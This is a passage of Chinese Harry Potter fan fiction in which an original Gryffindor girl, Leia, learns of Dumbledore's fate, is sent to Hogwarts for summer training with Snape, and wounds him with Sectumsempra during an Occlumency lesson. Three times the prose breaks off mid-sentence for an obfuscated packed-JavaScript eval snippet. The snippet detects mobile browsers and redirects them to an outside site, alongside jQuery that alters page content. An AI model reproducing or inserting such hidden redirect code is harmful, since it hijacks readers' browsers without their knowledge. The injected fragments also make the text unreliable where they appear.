邓布利多的校长室里放满了各种各样的东西,褪了色的陈旧架子、书籍、古董、名画、各种收藏品、魔法卷轴,还有那满满一墙的霍格沃茨历代校长。有一部分在打着瞌睡,而剩下醒着的男巫女巫们都和蔼地看着这位黑发少女。另一侧的门边上,有一棵没有枝叶的金色小树,一只雏鸟正在树干下的一堆灰烬里微微鸣叫。 邓布利多刚带上门就拿了一些肉干放在雏鸟的边上。这时,蕾雅才看见了邓布利多的右手,是一种骇人的黑色,宛如一根没有任何生命力的枯枝。 “先生……您的手……”蕾雅皱着眉,担忧地说道。 “噢别担心,只是一些烧伤,它会好的。”邓布利多的语气平和地回答着,可是蕾雅知道这并不是。 等喂过了雏鸟,邓布利多抬了抬左手,两杯飘着热气的红茶、两盘看起来十分可口的草莓蛋糕,还有几块黄油曲奇一起出现在了蕾雅的面前。 然后他也慢慢地走过来,笑着看向她说,“需要牛奶和糖浆吗?” “啊,好的,先生。”蕾雅仍然愣愣地看着这过于丰盛的下午茶,应道。 邓布利多慢慢坐下来,从茶几的一个小角落召来了一小碟小方糖以及一小杯牛奶,朝她得意地眨了眨眼睛,缓缓说道,“你知道,教授们一直不让我吃这些,我都得偷偷藏起来。你可别告诉他们啊,特别是斯内普教授。”他又做了个噤声的动作。 蕾雅被他逗笑了一阵,扯了扯嘴角,抿了一口还没加糖的红茶说道:“他对您真好,校长。” “是的,我很庆幸我有西弗勒斯在身边,也很庆幸霍格沃茨有他。噢,虽然,我知道很多学生都不是很喜欢他,特别是格兰芬多的学生。”邓布利多将牛奶和糖都放进杯子里,以小勺子轻轻搅拌开,露出了颇为满足的表情。 “可我喜欢他。”是脱口而出的一句话。邓布利多抬起头来看着她,拿着勺子搅拌奶茶的手也停住了,蕾雅才捂住自己的嘴,连忙改口道,“啊,我的意思是我喜欢他的课。” “当然当然,我还听说了,他有给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13593426|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你补课是不是?”邓布利多恢复了笑容,继续说道,但蕾雅仿佛看见了一丝锐利的察觉闪过他的眼里。 她装作附和地连连点头,低下头伸手去拿牛奶和糖。 在轻轻地抿完一口奶茶又挖了一小勺蛋糕以后,蕾雅把所有的东西都放下,她的双手不安地握在一起,放在自己的大腿上面,好像在下很大的决心。而邓布利多只是将这些举动都默默收在眼底,不动声色地品尝着自己的甜品。 “先生,我有一个请求。”她有些郑重地开口。 “尽情说吧孩子,只要是我能做到的。”邓布利多和蔼地眨眨眼睛。 “请您,在今天听完我说的这些以后,不要对我用遗忘咒好吗?”蕾雅盯着他头顶上的那顶紫红色的软帽,试探性地问道。 邓布利多不解地看向她,摇了摇头说,“噢,蕾雅。我想你应该清楚,教师们是不允许对学生使用任何攻击性或者恶咒的,这也包括我。” “还有就是,我必须先向您道歉。”蕾雅从自己的口袋里摸出那个耳朵状的小玩意,然后又举起魔杖,念到:“Accio。” 下一刻,一个一模一样的小东西从邓布利多办公区的一角飞了过来,稳稳地落在她的手上。蕾雅将两个东西一起摆在茶几上,忐忑地看着邓布利多。 邓布利多歪了歪头,又伸出手去将它们拿起来,看了看,捏了捏,很快就明白过来了这个小东西的作用。 “这个小东西一直在我的办公室里?”邓布利多将它们重新放回在茶几上,语气带着笑意。 “是的,先生,应该是不小心被哈利掉在这里的。”蕾雅心虚地说。 “你都听见了什么了?可以都跟我说说吗?” “昨天晚上的大部分,先生。”蕾雅诚实地答道。她鼓了鼓勇气,趁邓布利多还没能说出话来之前,立即抬起头去问道:“邓布利多先生,您……是会死吗?” 邓布利多的眼角稍稍跳动了一下,他垂下眼眸一瞬,又微笑着看向少女,“恐怕是这样。” “没有任何的办法了是吗?”蕾雅再次试探性地问道。 “是,我们的魔药大师是这么说的。”邓布利多的语气轻松得仿佛在谈论今天的校园趣事,“我相信你也听到了。” 蕾雅被校长这种如往常一样的慈祥弄得眼眶有点热,只得慌忙移开了与他对视的目光。她觉得这位老人笑着坦然面对死亡的样子,真的让她觉得很难受,她很难想象这个世界上竟然能有这样淡然平静地接受死亡的人。无论是谁,被告知生命只剩下不到一年,至少都会先陷入恐慌吧? 邓布利多察觉到了她的情绪,说道,“人终有一死,蕾雅。我已经这个岁数了,对我而言,它不过是一次长途旅行的终点。”语气温和得如温润万物的细雨。蕾雅说不出话来,抬手抹了抹自己的眼下,点了点头。 邓布利多又笑着眯了眯眼睛说:“我猜,你或许想问另一件事?也许,是关于斯内普教授的?” 蕾雅愣了一下,连忙伸出手去再次拿起那杯喝了一半的奶茶咽了一大口。 在奶茶的香甜里平复了一些心情和胆怯后,她又认真地望向面前的老巫师,小心地问,“那……斯内普教授,在那之后,他会离开我们吗?” 邓布利多仍旧保持着笑容,那双湛蓝色的眼睛是没有一丝雾霭的明亮。他没有立刻回答她的话,而是久久地凝视着面前的这个格兰芬多学生。在那双清澈绿眸里,邓布利多看见了少女的忐忑与焦虑,也看见了浓烈而纯粹的坚定。 以及一种可能性。 蕾雅疑惑地看着邓布利多慢悠悠地将手里的奶茶全部喝完,慢悠悠地放下茶杯,慢悠悠地拿下了自己的眼镜擦了擦,又再慢悠悠地拿起草莓蛋糕挖了一勺。等做完了这一切,邓布利多的脸上带着满意,笑容慈爱而充满期盼。 老巫师重新看向她,说道: “我曾经是这么认为的,至少昨天为止。” (1)我编的,当他有吧。 17. 信 “我看你怕不是被诅咒侵入大脑了吧,邓布利多?!” 斯内普正站在这位伟大的校长面前,脸色铁青,额头青筋暴起,他的愤怒正朝着面前一脸平和地笑着的老巫师扑去,“额外训练一个毫不相关的学生?你是真的疯了,还是终于清醒地意识到波特资质实在过于平庸,决定重新培养一个新的救世主?” 邓布利多坐在高大的校长椅上,眼中闪烁着淡淡的光芒,正轻轻地抚着摆在校长桌上的接骨木魔杖。他的神情一贯温和,耐心地等待着面前这位魔药学大师吐出这些尖酸刻薄的话。 等斯内普说完了,邓布利多只是平淡地笑了笑,对他说,“并非毫不相关,她听见我们的计划了。” “什么意思?” 邓布利多稍稍扬起下巴,挥动手里的接骨木魔杖,一双耳朵状的小东西从一旁的架子飞到了斯内普的面前。 斯内普挑了挑眉毛,拿起那对小玩意端详了一阵,脸上的怒气暂时被疑惑取代了,他问道:“这是什么?” “学生之间的小玩意,估计是附加了窃听咒。” “这种东西怎么会在这里?你别跟我说,你的校长室安全性差到随便一个学生都能监听?” “并非监听,西弗勒斯。是那晚上哈利不小心掉在这里的。” 斯内普愣了一下,马上意识到了是怎么一回事。他想起来当时禁林里那个黑发少女犹犹豫豫地用手捂着自己的口袋的样子,如果当时自己坚持追问下去,或者逼她拿出来,那就不会有今日的节外生枝——所以这一切的缘由还真是自己一时的疏忽。 一想到这,斯内普气得咬紧了自己后槽牙,差点顺带将手中的东西捏碎。一番挣扎,他决定将这种由自责引起的怒气转移,“又是波特,她听见什么了?” “那天晚上的全部。”邓布利多摆了摆自己干枯的右手,语气却是轻松平常。 看见邓布利多这个淡然的样子,斯内普的怒气再次翻滚而来,他强硬地说道:“所以,这就是要训练她的理由?让我提醒你一下,有一种魔咒叫做遗忘咒。如果你下不去手,我很乐意现在就去给她一发遗忘咒!我相信这样会少不少麻烦事。” “麻烦事?”邓布利多很快就接过了他的话,他用左手修长的手指摸了摸自己的下巴,意味深长地对斯内普牵了个笑容,说道,“我不见得你是在怕麻烦。让我提醒你一下,你已经替她补了一个学期的课了。西弗勒斯,难道你不觉得那也是麻烦事?” 斯内普冷哼一声,怒气却下去了一大半,“很不巧你误会了,只是为了节省整理麻烦材料的时间。” “那我相信在这件事上,她同样可以帮你。”邓布利多微微颔首,嘴角勾了起来。 “我不见得。”斯内普冷冷地将话抛了出去。 邓布利多伸出手去摸了摸桌子一角的装饰水晶球,他看了一眼门边上,雏鸟正在金枝底下啃着一小块柔软的墨鱼干。另一边的墙上,画框里的历任校长们都默契地陷入沉睡或离开了,每次斯内普来到这间校长室的时候都如此。 邓布利多将目光抽了回来,那双蓝眼睛里多了一些抚慰与耐性,他轻叹了一口气,说道,“如果这个暑假你从她身上看不见任何天赋,我很乐意亲自施展遗忘咒,我向你保证。” “恕我直言,我已经可以说她的资质与我们那位自大的救世主一样平庸。”斯内普冷笑一声。 “是吗?”邓布利多捋了捋自己的胡子,“那我会很怀疑你是不是洞察力有所下降了。她的魔杖是银椴木制的,我很相信你清楚通常使用这种魔杖的巫师会有什么才能。” 一丝讶异划过斯内普的眼底,但他很快就将自己的表情调整了回去,似笑非笑地看着邓布利多,“凡事没有绝对,邓布利多。” “很期待你的举证,西弗勒斯。”邓布利多笑着说。 老巫师的话音刚落下,斯内普不再说话了,他知道自己暂时是说不过面前这位世界最伟大的诡辩手了。他总是那样一步步走进邓布利多设好的圈套里面,无论他如何清楚地意识到这是个话术陷阱,提前构思好所有的对策与对白,邓布利多总是会出其不意地有别的诠释。他在他的那些话里栽倒、被打磨、被说服,直到他心甘情愿地接受老巫师的指示。 斯内普嘴角一沉,迅速地朝门口走去,那黑袍随着他大幅度的动作也在愤怒地摆动着。 但是到了门口,他又停住了。 “你有没有用你那个充满智慧的大脑想过,我或许不想再为你做这些事了?”捏着门边缘的手关节因用力而变得发白,沉在黑发里的脸此时竟然多了一些局促,“或许我昨天就该随了你的愿将你杀死,这样对谁都好。” “很高兴你还记得这件事,西弗勒斯。那么我想你也应该意识到,这些事正是为了保证我死后计划还能顺利的进行。” “恕我看不出有任何的相关与必要性。”斯内普将门推开了些。 “我已经跟你说过了,终有一个时间点,你会明白一切的,西弗勒斯。”他看着这位魔药大师的背影,继续淡淡地说道,“另外,西弗勒斯,我有没有想过和你愿不愿意都已经不重要。这都是你答应过的,我的大脑功能还保持着良好的运作水平。” 斯内普瞪他一眼,大步迈了出去,砰地一声将门关上。 霍格沃茨的建筑质量还是很可以的,至少在门这一块。邓布利多看着斯内普离去的方向想到。 西弗勒斯什么时候才能学会不要再摔门出去?邓布利多用左手扶正了一些自己的软帽,又想到。 老巫师懒洋洋地拆开一颗柠檬雪宝放到嘴里,起身走到门边轻轻抚摸了一下已经进食完的雏鸟,发现那颗粉红色的小脑袋上面长出了些绒毛。他又在校长室里来回踱步了一阵,整理过思绪,才重新坐回办公室的前面。 邓布利多从抽屉里的抽出一张信纸展平,又眯了眯眼睛看了眼自己枯槁的右手,以左手拿起了魔杖。 “亲爱的雷格纳,” 邓布利多用魔杖操控着羽毛笔开始写信。 …… 千百根熠熠生辉的蜡烛整漂浮在长桌之上,四个学院的院旗正穿插着垂挂在这些蜡烛之间,被柔和的蜡烛光线映得有些虚幻。再往上,是一片璀璨的星空,千万颗的星辰正在那里闪烁着,一望无际,无与伦比。 “我相信,这一动荡的一年里大家都经历了很多。我必须告诫各位,很遗憾,这一切在不远的将来只会变得更糟糕。我相信各位都清楚我所指的是什么。但我同时也相信,那些常怀勇气、敢于谋略、保持明智、并忠诚正直的人,永远都能坚定地穿越黑暗。记住,黑暗之后,黎明一定会到来。” 霍格沃茨的学期结束晚宴永远都是华丽而璀璨的,而食物也总在经历苦难以后变得更加美味,再配上这位伟大白巫师娓娓道来的致辞,对于经历了魔法部一事的孩子们来说简直就是劫后重生的庆典。 蕾雅知道,这不会是最后一次劫后重生,他们还有很多的苦难要去经历、还有很多场战争、很多将要失去的人和事。 但是今夜,这十六岁的尾巴里,至少让她再好好地感受一下吧。感受那些简单的快乐,依偎在一起的温暖,分享过的食物,没前没后的话,至少此时,他们还能大声而放肆地去笑、去爱、去表达。 那天的晚上,格兰芬多公共休息室里的笑声响了一夜。暑假的前一天没有人想把时间浪费在睡眠上。 蕾雅和哈利他们围在惯常那张正对着那幅狮子旗帜的沙发上,分享着她父亲给她寄过来又吃不完的零食。怪味豆洒了满满一茶几,巧克力蛙的卡片也全是重复,还有那些麻瓜饼干中间的夹心甜腻得牙疼……噢,还是黄油啤酒深得人心。 他们聊着暑假计划,聊着西里斯·布莱克的伤,聊着下学期的打算,也掺杂了一些恋爱趣事——比如说哈利到底为什么跟张秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13593427|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一起,又为什么跟她分了手。聊得大家都开始打起了哈欠,但是谁也不愿意回去寝室,于是就那样横七倒八地在休息室里睡下了。 等清晨的阳光有力地穿透了休息室里那扇有着大量红色的彩色玻璃,红色的暧昧光晕正亲吻着她白皙的脸,蕾雅恍惚地睁开了眼,也慌忙地唤醒了正在睡觉的其他人去收拾行李。 霍格沃茨列车的红则是另一种更热烈的隆重,也是令人百看不厌的,特别是搭配着那幽幽扩散开去的白色蒸汽。 但站台上的景象就没这么好看了,乱糟糟的行李和排得歪歪扭扭的队伍挤得就人都快要掉下去了。蕾雅提着自己的箱子跟在赫敏后面,耐心等待着前人缓慢而笨拙地将他们的行李搬上列车。 “所以你暑假就是准备跟你爸爸练习魔咒?”赫敏回过头来对她说,褐色的眼睛下面还有些乌青。 “还有去旅行?”哈利揉了揉眼睛,罗恩正在他的后面打着哈欠。 “嗯,妈妈或许想去一趟意大利,她每年暑假都要去一趟。”蕾雅也有些晃神,答道,又看向哈利,“你呢?今天会去圣芒戈?” “我想应该是的,”哈利说,“西里斯还在医院,我想去看一看他再回姨妈家。” “要小心,好吗?”蕾雅颤颤地说道,哈利朝她重重地点了头。 蕾雅发现哈利的表情看起来与之前不一样了,或许是西里斯的重伤以及邓布利多那晚长谈的缘故。 ——他们的身后,到底有多少人在为了保护他们而暗中奔波着?又有多少人已经为了保全他们而失去性命了呢? 只有那些足够坚韧而幸运的人能活下来。邓布利多已不再是幸运的人,她真的希望另一位会是。 身后突然变得有些嘈杂,蕾雅回过头去,只见本来排在她身后的人都纷纷往一边靠去,正在让出一条路来。 “这是怎么了?”赫敏在后面说道。 “不知道,要不也跟着一起靠靠。”蕾雅拉着她一起走动了数步,同时将自己的行李也向旁边挪了挪。 “哦是斯内普。”赫敏垫了垫脚看清楚了,凑过来跟她说,“他的脸更黑了,不知道是不是谁惹事了。” 听见这个名字,黑发少女的大脑空白了有一秒,回过神来时连忙小声地说,“啊?学期里的最后一天惹事?” 斯内普正抱着双臂,紧绷着脸,薄唇抿成了一条缝。他背光而行,早晨的阳光追随在他的黑袍后面,勾勒出一道模糊不清的轮廓。 蕾雅不敢去看他,因为自前晚偷听了那些秘密以后她就没有见过他,而那些没有答案的疑问,落在心里,积成了厚厚的一片,压得人快喘不过气。 正当她要故意侧过脸去看赫敏时,斯内普的皮鞋就停在了她的前面。 “莱恩哈特小姐。”声音像是从地下十二尺冰窖里透出的寒风。 周围的人都倒吸了一口凉气,自动退让了几步,仿佛都害怕自己被牵连。 “先、先生。”她忐忑地抬头,“请问……?” 斯内普的脸上有很浓重的阴郁和抗拒,薄凉的黑眸衬得他的皮肤苍白,他紧紧地盯着她,嘴唇几乎没有怎么翻动,“邓布利多给你。”声音低到只有她能听见。 蕾雅从他的手里接过一个信封,视线落在他整齐的外套袖口上有一瞬,“……好。” “我希望你知道自己在做什么,莱恩哈特。这不是你那些想要的冒险。” 蕾雅倏地抬起头去望向斯内普,但黑发巫师已经侧过身离开了。 她的眼睛一直怔怔地凝视着逐渐变得越来越小的黑色背影,直到赫敏疑惑地拍了拍她说轮到她们上车了。 等放好了行李,蕾雅在靠窗的位置坐下来,赫敏十分好奇地把脑袋凑了过来,“邓布利多先生给你什么东西呢?” “是信。”她答道。 没什么重量,简洁的信封上写着,“致雷格纳·莱恩哈特”。 18. 封闭术 雷格纳坐在二楼靠窗的工作前,他的女儿正在客厅的钢琴里弹奏一首忧伤的钢琴曲。 他听了一会儿,辨别出来是雅尼的《One Man’s Dream》,他不知道女儿为何在此时弹起这首歌,但这位父亲觉得确实很符合他此时的心境。 雷格纳望向庭院里的绣球花,它们正在陆续盛开,他叹了一口气,在这悲伤而婉转的琴声里摊开一张信纸,羽毛笔蘸过一些墨水,写道: “敬爱的邓布利多校长: 我已经了解到您为孩子们所安排的训练计划,并表示衷心的感激。 而关于您在信中所提到的凤凰社……” 他顿了顿,思索了一阵,刚要落笔继续书写,一阵轻轻的敲门声打扰了他。雷格纳回过头去,他的妻子奥德莉亚正挨着敞开的书房门站着。 “亲爱的,胡椒盐放在哪里了?”奥德莉亚琥珀色的眼睛透出些不好意思。 “我想想,可能在上面左手边第二个柜子里……不对,前两天用过的,也许被我随手放在烤箱上面了。我来找找。”雷格纳挠了挠自己那头金发,连忙起身走过去。 奥德莉亚却在门口用手拦住了他,温柔地说,“我知道你还在忙。明明说了今晚我来准备晚餐的,我来找吧。” 雷格纳踌躇了一下,点了点头,又亲吻过她的额角,“我很快就忙完。” “不着急。”奥德莉亚笑着离开了房间。 雷格纳回到了自己的座位前,拿起刚刚写到一半的信纸,重新读了一遍。很快,他皱着眉毛抬手使了一个燃烧咒,火舌一点点舔舐着信纸,一切化成了虚无。 他重新拿出一张信纸。 “敬爱的邓布利多校长: 我已经了解到您为孩子们所做的安排,我为此衷心地感激。 至于您所提到的第二件事。我一直对此抱有很深的敬意,也很乐意贡献一份力。 但我必须坦诚,我有一些私人的顾虑,我害怕这种顾虑会成为一种软肋,思虑再三,请恕我这次无法答应您的邀请。 然而,若有其他任何我能提供帮助的机会,我将不遗余力。” 雷格纳打开窗户,一只白脸角鸮停在了他的案前,是莱恩哈特家的猫头鹰。等看着这只美丽而优雅的鸟带着信飞远了,他才将窗户缓缓关紧,转身朝楼下走去。 八月的第一天,雷格纳在家门前凝视着霍格沃茨的魔药大师跟他女儿一起幻影移形离开的地方,又蓦地想起了那首《One Man’s Dream》。 一个男人的梦想。 …… 蕾雅想起来,霍格沃茨是不允许学生暑假留校的。 所以当斯内普拎着她停留在霍格沃茨的正门前的时候,她有些吃惊。她本以为他会将她带到布莱克先生的家,格里莫广场——她已听说那里变成了凤凰社的根据地。 入读五年,她的确从来没有见过八月份的霍格沃茨。 宽广的天空是大片被晕染开的瓦蓝,没有一片云,盛夏的烈日带着火焰一样的热浪翻腾在霍格沃茨的草坪上,也将那些斑驳的老墙烤得炽热。也没有一点的风,草坪上唯有的几棵树都如同被施加了禁锢咒一样静止着,不像是有生命的东西。 还没走到城堡底下,闷热已经让她的背上渗出一层细密的汗珠,实在热得受不了了,她将长长的黑发用手上的橡皮筋束成一股。 但面前这位黑巫师好像丝毫感觉不到任何的热度,他依旧穿着他的外套和魔法长袍,蕾雅甚至没在他的脸上看到一丝汗,真奇怪。 “先生。”她犹犹豫豫地在他身后开口,“哈利他们到了吗?” 斯内普依然保持着行走的速度,没什么感情地答着,“他们?我不知道你在说什么。” “邓布利多先生给爸爸写的信里说,所有相关的学生都会参加这次的训练……”她小心翼翼地说。 “相关的学生?”,斯内普轻笑一声,才讥讽地说道,“我想这意味着只有你,而你自己清楚为什么。” 蕾雅愣了下,瞬间明白了过来,一切都不过是邓布利多让雷格纳·莱恩哈特交出自己女儿的策略。 她连忙转开话题,“那……我要训练什么呢?” 此时,他们已经走到了城堡前,斯内普在她面前顿住了脚步,因为烈日而产生的大片阴影落在他的脸上。 斯内普稍稍侧过头对她说:“你的问题太多了,莱恩哈特。” “对不起……我在想或许我可以去图书馆预习一下。”她小声地说,抬起头认真地看向他。 斯内普冷哼一声,稍稍眯起了眼睛打量了她几秒,不情愿般叙述道:“幻影移形,大脑封闭术,黑魔法防御术,还有一切他认为你该学的东西。图书馆假期不会开放,我会把相关的书拿给你。” “谢谢您,教授。”蕾雅没想到现在是换她来上大脑封闭术了。 “周二、周四、周六,早上十点,下午两点,晚上七点,我的办公室。如果有变动,我会用壁炉通知你。”斯内普顿了顿,“其余时间,别让我发现你在城堡里游荡。而且我提醒你,邓布利多外出了,暑假的霍格沃茨也是防护咒最薄弱的时候。” “我记住了。”她低声应答,又问道,“今天开始吗?” “是,也就意味着你有两个小时收起你那些糟糕的幻想。现在,回你的公共休息室去。” 斯内普说完就回过身去,黑袍正随着转身轻轻摆动。但他没有走向通往地下教室的楼梯,而是用钥匙打开了图书馆的门,走了进去。 蕾雅提着自己的行李箱,回到阔别了一个月的格兰芬多公共休息室。 谁也不在,只有一份由霍格沃茨家养小精灵准备的午餐安静地躺在壁炉前的茶几上。 这简直就像是一次为期一个月的禁闭。她想到。 但仅仅数秒,她就收拾起了有些落寞的情绪,因为她清楚地意识到这是她做出的选择,无关别人,亦无关邓布利多。 蕾雅先将行李拿回了寝室,以魔杖轻轻地指挥着衣服与书籍摆在书桌上与柜子里,再铺整了自己的床铺,从家里带来的泰迪小熊被她重新放回了床上。 她发现自己比想象中的更有食欲些,竟然连一贯剩下的土豆泥沙拉都吃完了。刚放下叉子,一个小精灵就轻巧地出现在了茶几旁边,准备将她用过的餐具带走。 蕾雅没有想过会在格兰芬多的公共休息室里看到小精灵,她有些惊讶。 “你好。”蕾雅朝他眨了眨眼,用温和而友好的声音问候道,“我是蕾雅,你叫什么名字?” “你好,蕾雅小姐,我是拉比。”小精灵的蓝眼睛大大的,亮亮的。 是一个友善的小精灵,蕾雅想到。 “午餐是你放在这里的吗?” “是的小姐,邓布利多先生吩咐拉比这个月为小姐和斯内普教授准备餐点。”拉比有些得意地说道,“拉比终于有机会研究新的菜谱了,拉比很开心。” “新的菜谱?我很期待呢。”蕾雅笑了笑,眼睛一转又问道,“城堡里还有别人吗?” “除了蕾雅小姐和斯内普教授,拉比还见过海格先生和费尔奇先生。”拉比点着头说,“邓布利多先生两周前离开后就没有回来过了。” “好,谢谢你。”蕾雅说,“那接下来一个月就麻烦你啦。” “拉比很期待蕾雅小姐的试吃感想!”拉比欢快地说,然后捧起那些餐具,“晚上见,蕾雅小姐。” “晚上见,拉比。” 蕾雅回到房间里换上格兰芬多校服,在洗手间将刚才随意束起的马尾重新整理过了,才朝图书馆塔楼走去。 斯内普的办公室里多了一张凳子,蕾雅按照他的指示忐忑地在那张凳子上坐下,正正地看向自己的魔药学教授。他正抱着双臂背靠办公桌站着,也正正地审视着她。 在他身后的办公桌上,放着那个她之前一直疑惑的沉思盆,液体里漂浮着几丝微微泛着光的絮状物。 “先说说吧,你对大脑封闭术了解多少,莱恩哈特小姐。”斯内普干巴巴地开口。 “大脑封闭术,是用来抵御摄神取念的,先生。”她回忆起赫敏的话,答道。 “不错,除了摄神取念,它还可以抵御一些混淆心智的魔法。那你知道为什么校长要让你来学大脑封闭术吗?” “为了不泄露那一晚的事。”她说,“为了不在未来某一个未知时刻被神秘人得知。” 也为了保护您,先生。她在心里补充道。 “很好,看来你至少能意识到自己在参与什么东西。”斯内普冷笑一声,压着声音继续说,“但是,听着,在开始之前我可以负责任地告诉你,这不是你该参与进来的事。我不知道你跟邓布利多到底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13593428|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 商量了什么,但是在一切变得无法挽回之前,我很乐意对你来一发遗忘咒,让你重新回去做你父亲的宝贝女儿。” “我知道这不是我应该参与的,”蕾雅直直地看向斯内普,绿眸是那样的坚定着,“但我已经选择了参与。我不需要遗忘咒,教授。” “我持保留意见,你肤浅的决心将很快会被摧毁。”斯内普走了过来,“我随时会准备好对你使用遗忘咒的,只要你表现出一丝松懈。” 蕾雅仍然看着他,坚决地摇了摇头。 “行吧,格兰芬多永远需要先碰碰壁。”斯内普讽刺般说着,他举起了手中的魔杖指向她。 “你已经体验过一次摄神取念了,我很清楚你知道它是个什么东西,但让我们从最基础的重新开始。” “……好。” “拿起你的魔杖,你可以解除我的武器,或者用任何其他的方式阻挡我的入侵。”她有些不安,但还是按照他说的举起了自己的魔杖,握住灰白色杖身的手指微微渗出了冷汗。 ——“我警告你,莱恩哈特。攻击教授是退学行为。” 多奇怪,此时她的教授正让她拿起魔杖对着他。 “我准备好了。”她说。 他带着一丝轻蔑的笑容看向她,低声念到,“Legilimens(摄神取念)。” 一种实质性的压力从脑袋里炸开,蕾雅的额头开始渗出细小的汗珠。 面前的斯内普变成了一团旋涡,紧接着,她回到了家里,正弹奏着钢琴,她的母亲在准备晚餐;她在格兰芬多公共休息室里,与哈利赫敏罗恩一起欢快地喝着黄油啤酒;她坐在伟大的白巫师面前,忐忑地对他坦白着自己窃听了的秘密;她在月光惨淡的夜里,听见了自己不应该听的对话;她在那间空教室里看见了自己的父亲,以及父亲身后的那个男人,他正抱着双臂看着她—— 他问,为什么要浪费时间—— 他在禁林里挡在自己面前,以及向她伸来的手—— 他站在办公室门前,自己气喘吁吁地朝他求救—— 他轻轻握着她的手腕,他的手是那么的温暖,正如他魔杖下淌出的白色光芒—— 不,先生,你不能看这个。 ——她躺在了格兰芬多的寝室里,盯着那顶厚重的红色床幔,想着所有关于他的事,推演着一切可能的他的结局——想着,她不想他离开—— 不,先生,你不能看这个。 ——她希望他是那个幸运的人。 不,先生,你不能看这个。 ——他身上有魔药清苦味道。他的黑眸深不见底。 不,先生,你不能看这个! ——她又看见自己将掉在地上的高级魔药学偷偷藏在长袍里带出了教室,那是属于斯内普的书。 不对!不对!不行!不行! ——她在图书馆的阳光里翻开了这本书,扉页上写着—— ——“Half Blood Prince”。 不!!!! 抵御、抵御—— ——她看见了那串咒语。四个音节。简短,有力,又是那样的悦耳。像他—— 抵御! “Sectumsempra(神锋无影)!” 她听见自己的尖叫。 随着一声爆裂的巨响,办公室的一切都回来了,她从凳子上重重地跪了下去,旋即从膝盖里传来了锋利的疼痛感。 阳光正从碎了一半的高窗外闯进来,火辣辣地打在她的脸上。 面前的一切却出乎了她的想象。 漫天的羊皮纸碎屑,斯内普的办公桌被劈成了许多瓣,沉思盆仄歪着卡在这堆木头里,那些银白色的思绪随着液体撒了一地。周围的架子上,很多魔药瓶子都崩裂开,各种黏糊糊的液体夹杂着玻璃碎屑正在不断地涌向地板。 空气里弥漫着一股浓厚的魔药苦涩与血腥味。 她倏地低下头,她的膝盖下,地板上,到处都是粉碎的玻璃,它们正深深地扎在她的肉里。 ——“我警告你,莱恩哈特。攻击教授是退学行为。” 蕾雅惊恐地抬起头去望斯内普。 面前的魔药学教授,正捂着自己的左侧肩膀,鲜血从他的指缝间淌出。 他愤怒而又错愕地瞪着她,平时如坚冰一般的黑眸此刻变得通红。 19. 神锋无影 愤怒。 神锋无影能造成这么大范围的破坏吗? 也许邓布利多是对的。 这是斯内普在事情发生的一瞬同时冒出来的三个想法。 紧接而至的第四个想法则是,还真的是很痛。尽管他在攻击袭来的一瞬已经使用了防护罩,还是让自己的左肩受伤了。斯内普没想过那么多年过去了,自己竟然还会被自己发明的魔咒伤到。 蕾雅从来没有见过斯内普教授这么狼狈的样子。他的脸上、身上全是血,尽管已经用力地捂住伤口,鲜血还是不停地渗出来,黑袍上也全是血,正滴滴答答地淌在地上,跟地上那些不明液体混在一起。那本就苍白的脸正变得更加毫无血色。 他本人却仿佛一尊面目狰狞的染血雕塑一样伫立在那里瞪着她。那眼里是什么?愤怒?难以置信?疼痛? “对不起对不起!!”她大脑一片空白,头皮发着麻,感觉背上的汗毛都竖起来了。这种恐怖的压迫感让她甚至忘记了自己膝盖上的痛感,迅速地从地上弹了起来,跑到侧柜上去翻找白鲜药水。 “对不起教授!!!我真的不是故意的,我不知道它是个什么咒语……”蕾雅拿起一瓶白鲜朝斯内普走去,并没有发现自己的眼眶已经因为着急而变得通红。 “停下。”斯内普回过神来,皱着眉对少女说。 蕾雅顿住了脚步,直直地看着斯内普。 “白鲜对神锋无影造成的伤口没有用。”斯内普哑着声音对她说,“……把我的魔杖给我。快点。” “教授,您先坐下吧?”蕾雅召唤了一张凳子到她的身边,说完就直接朝他伸出手去将他按在椅子上面,然后她慌乱地转过身去,在一堆细屑里找到了他的魔杖。 蕾雅觉得自己捡起魔杖的一瞬间,从指尖传来了一股微弱的电流感。她并不敢多想,直接将它递给斯内普,但后者正紧紧地按着伤口,根本腾不出手来去接。 蕾雅瞥见了斯内普的额上爬满了密密麻麻的汗水,也许伤口比她想象中的要严重的多,这都是她造成的。 她立刻半跪在他的身侧,捏着魔杖的手也正在颤抖,看向他认真地说道:“教授,让我来按着伤口吧。不然,您告诉我怎么做都可以。”声音里带着哭腔。 斯内普垂下眸来对上她那双正泛着红的眼睛说道:“这种伤口只有反咒可以解除。” 